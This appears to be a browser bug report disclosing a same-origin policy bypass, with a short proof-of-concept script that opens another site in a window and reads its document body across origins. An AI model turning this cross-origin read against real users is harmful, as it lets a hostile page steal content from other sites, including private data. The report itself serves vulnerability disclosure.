Details

(Whiteboard: [PDT+]) 

document.body seems not to be protected by "Same origin" security policy.
This leads to at least reading arbitrary documents.
The code is:
----------------------------------------
<SCRIPT>
function f(o)
{
 var s='';
 var i;
 s = o.nodeValue;
 if ( o.childNodes )
    for ( i = 0; i < o.childNodes.length; i++ )
       s += f(o.childNodes[i]);
return s;
}
a=window.open("http://www.yahoo.com");
setTimeout("alert(f(a.document.body))",10000);
</SCRIPT>
